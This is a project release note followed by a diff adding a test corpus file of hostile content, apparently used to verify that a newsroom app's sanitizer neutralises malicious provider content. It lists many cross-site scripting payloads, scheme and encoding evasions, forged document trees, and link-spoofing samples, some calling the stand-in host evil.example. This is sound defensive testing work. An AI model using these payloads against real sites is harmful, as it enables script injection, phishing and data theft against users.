Tactical Media Broadcast Hub — initial release

Self-hosted multi-platform broadcast newsroom for activist collectives:
publishing pipeline with group approval and DST-proof scheduling, TweetDeck-style
column wall with hostile-content-safe rendering, live control room with Auto
Director, bridged chat governance with polls and quorum, distributed sandboxed
transcode workers, encrypted content-addressed archive, monthly analytics.

MIT licensed. See README.md and docs/.

packages/safe-content/src/corpus.ts

@@ -0,0 +1,140 @@
+/**
+ * Malicious provider-content corpus (proposal §4.5 acceptance). Exported so
+ * `packages/testing` and the Playwright suites can replay the same payloads
+ * through connector mocks.
+ */
+export const ATTACKER_ORIGIN = "evil.example";
+
+export const MALICIOUS_HTML: readonly string[] = [
+  // Script injection
+  "<script>alert(1)</script>",
+  "<SCRIPT SRC=//evil.example/x.js></SCRIPT>",
+  "<script src=https://evil.example/x.js>",
+  "<scr<script>ipt>alert(1)</scr</script>ipt>",
+  "<<script>script>alert(1)<</script>/script>",
+  "<p>hi<script>alert(1)</p>",
+  "<plaintext><script>alert(1)</script>",
+  // Event handlers / attributes
+  "<img src=x onerror=alert(1)>",
+  "<img src=\"https://evil.example/pixel.gif\">",
+  "<img srcset=\"https://evil.example/a.png 1x\" alt=\"pic\">",
+  "<svg onload=alert(1)>",
+  "<svg><script>alert(1)</script><a xlink:href=\"javascript:alert(1)\">x</a></svg>",
+  "<body onload=alert(1)>",
+  "<p onclick=\"alert(1)\" style=\"background:url(https://evil.example/t.png)\">click</p>",
+  "<a href=\"https://ok.example/\" onclick=\"alert(1)\" onmouseover=alert(1) style=\"position:fixed\">ok</a>",
+  "<div style=\"background-image:url('https://evil.example/t.png')\">css</div>",
+  "<details open ontoggle=alert(1)>",
+  "<input autofocus onfocus=alert(1)>",
+  "<video><source onerror=alert(1)></video>",
+  "<marquee onstart=alert(1)>x</marquee>",
+  // Dangerous schemes
+  "<a href=\"javascript:alert(1)\">x</a>",
+  "<a href=\"JaVaScRiPt:alert(1)\">x</a>",
+  "<a href=\" javascript:alert(1)\">x</a>",
+  "<a href=\"java&#x09;script:alert(1)\">x</a>",
+  "<a href=\"java\tscript:alert(1)\">x</a>",
+  "<a href=\"&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;alert(1)\">x</a>",
+  "<a href=\"&#x6A;avascript&colon;alert(1)\">x</a>",
+  "<a href=\"data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==\">x</a>",
+  "<a href=\"vbscript:msgbox(1)\">x</a>",
+  "<a href=\"file:///etc/passwd\">x</a>",
+  "<a href=\"//evil.example/x\">x</a>",
+  "<a href=\"/\\evil.example/x\">x</a>",
+  "<a href=\"https:evil.example\">x</a>",
+  "<a href=\"https://user:pass@evil.example/\">creds</a>",
+  "<a href=\"https://ok.example@evil.example/\">at-trick</a>",
+  // Container elements
+  "<iframe src=\"https://evil.example/\"></iframe>",
+  "<iframe srcdoc=\"<script>alert(1)</script>\"></iframe>",
+  "<object data=\"https://evil.example/x.swf\"></object>",
+  "<embed src=\"https://evil.example/x.swf\">",
+  "<form action=\"https://evil.example/\"><input name=x><button>go</button></form>",
+  "<base href=\"https://evil.example/\">",
+  "<meta http-equiv=\"refresh\" content=\"0;url=https://evil.example/\">",
+  "<link rel=stylesheet href=\"https://evil.example/x.css\">",
+  "<style>@import 'https://evil.example/x.css'; body{background:url(https://evil.example/t.png)}</style>",
+  "<math><mtext><table><mglyph><style><img src=x onerror=alert(1)>",
+  "<noscript><p title=\"</noscript><img src=x onerror=alert(1)>\">",
+  "<textarea><img src=x onerror=alert(1)></textarea>",
+  "<template><img src=x onerror=alert(1)></template>",
+  "<svg><foreignObject><iframe src=javascript:alert(1)></iframe></foreignObject></svg>",
+  // Encoding / comment / malformed evasions
+  "&lt;script&gt;alert(1)&lt;/script&gt;",
+  "<!--<script>alert(1)</script>-->",
+  "<!--><img src=x onerror=alert(1)>-->",
+  "<![CDATA[<script>alert(1)</script>]]>",
+  "<?xml-stylesheet href=\"https://evil.example/x.xsl\"?>",
+  "<a href=\"https://ok.example/\"<script>alert(1)</script>",
+  "<a href=\"https://ok.example/",
+  "<a href='https://ok.example/' title='\"><script>alert(1)</script>'>quotes</a>",
+  "<a href=https://ok.example/ ><img src=x onerror=alert(1)></a>",
+  "</p></a></div></span><img src=x onerror=alert(1)>",
+  "<a href=\"https://ok.example/\"><a href=\"javascript:alert(1)\">nested</a></a>",
+  "<span class=\"invisible\"><script>alert(1)</script></span>",
+  // Spoofing
+  "<a href=\"https://evil.example/login\">https://bank.example/login</a>",
+  "<a href=\"https://pаypal.com/\">paypal.com</a>",
+  "<p>file‮gnp.exe and zero​width⁦isolate⁩</p>",
+];
+
+export const MALICIOUS_PLAIN: readonly string[] = [
+  "<script>alert(1)</script>",
+  "<img src=x onerror=alert(1)>",
+  "javascript:alert(1)",
+  "click javascript://%0aalert(1) now",
+  "data:text/html,<script>alert(1)</script>",
+  "https://evil.example/\"><script>alert(1)</script>",
+  "see https://user:pass@evil.example/ and //evil.example",
+  "@alice@evil.example #tag <b>bold</b>",
+  "‮txt.exe ​‍",
+  "&lt;script&gt;",
+];
+
+export const MALICIOUS_LINK_PREVIEWS: readonly unknown[] = [
+  { url: "javascript:alert(1)", title: "x" },
+  { url: "data:text/html,<script>alert(1)</script>", title: "x" },
+  { url: "//evil.example/", title: "protocol-relative" },
+  { url: "https://ok.example/", title: "<script>alert(1)</script>", description: "<img src=x onerror=alert(1)>", image: "https://evil.example/og.png" },
+  { url: "https://ok.example/", image: "javascript:alert(1)" },
+  { url: "https://ok.example/", image: "data:image/svg+xml,<svg onload=alert(1)>" },
+  { url: "https://ok.example/", image: "//evil.example/og.png" },
+  { url: "https://ok.example/", siteName: "‮lapyap", title: "x".repeat(100_000) },
+  { type: "linkPreview", href: "javascript:alert(1)", host: "ok.example" },
+  { type: "linkPreview", href: "https://ok.example/", host: "ok.example", image: "https://evil.example/direct.png" },
+  { url: { toString: () => "javascript:alert(1)" } },
+  null,
+  "https://ok.example/",
+];
+
+/** Hand-forged ASTs, as if from a tampered DB row or websocket frame. */
+export const FORGED_DOCUMENTS: readonly unknown[] = [
+  {
+    type: "doc",
+    version: 1,
+    truncated: false,
+    children: [
+      {
+        type: "paragraph",
+        children: [
+          { type: "link", href: "javascript:alert(1)", host: "ok.example", children: [{ type: "text", text: "x" }] },
+          { type: "link", href: "https://ok.example/", host: "ok.example", children: [{ type: "html", html: "<script>alert(1)</script>" }] },
+          { type: "emoji", shortcode: "x", src: "https://evil.example/e.png" },
+          { type: "emoji", shortcode: "x", src: "/api/media-proxy?url=javascript%3Aalert(1)" },
+          { type: "emoji", shortcode: "x\"onerror=alert(1)", src: "/api/media-proxy?url=https%3A%2F%2Fok.example%2Fe.png" },
+          { type: "html", html: "<img src=x onerror=alert(1)>" },
+          { type: "text", text: "<img src=x onerror=alert(1)>" },
+          { type: "mention", handle: "x\"><script>", href: "javascript:alert(1)" },
+          { type: "hashtag", tag: "ok", href: "data:text/html,x" },
+          { type: "text", text: { toString: () => "<script>" } },
+        ],
+      },
+      { type: "script", children: [] },
+      "<script>alert(1)</script>",
+    ],
+  },
+  { type: "doc", children: "nope" },
+  "<script>alert(1)</script>",
+  null,
+  [],
+];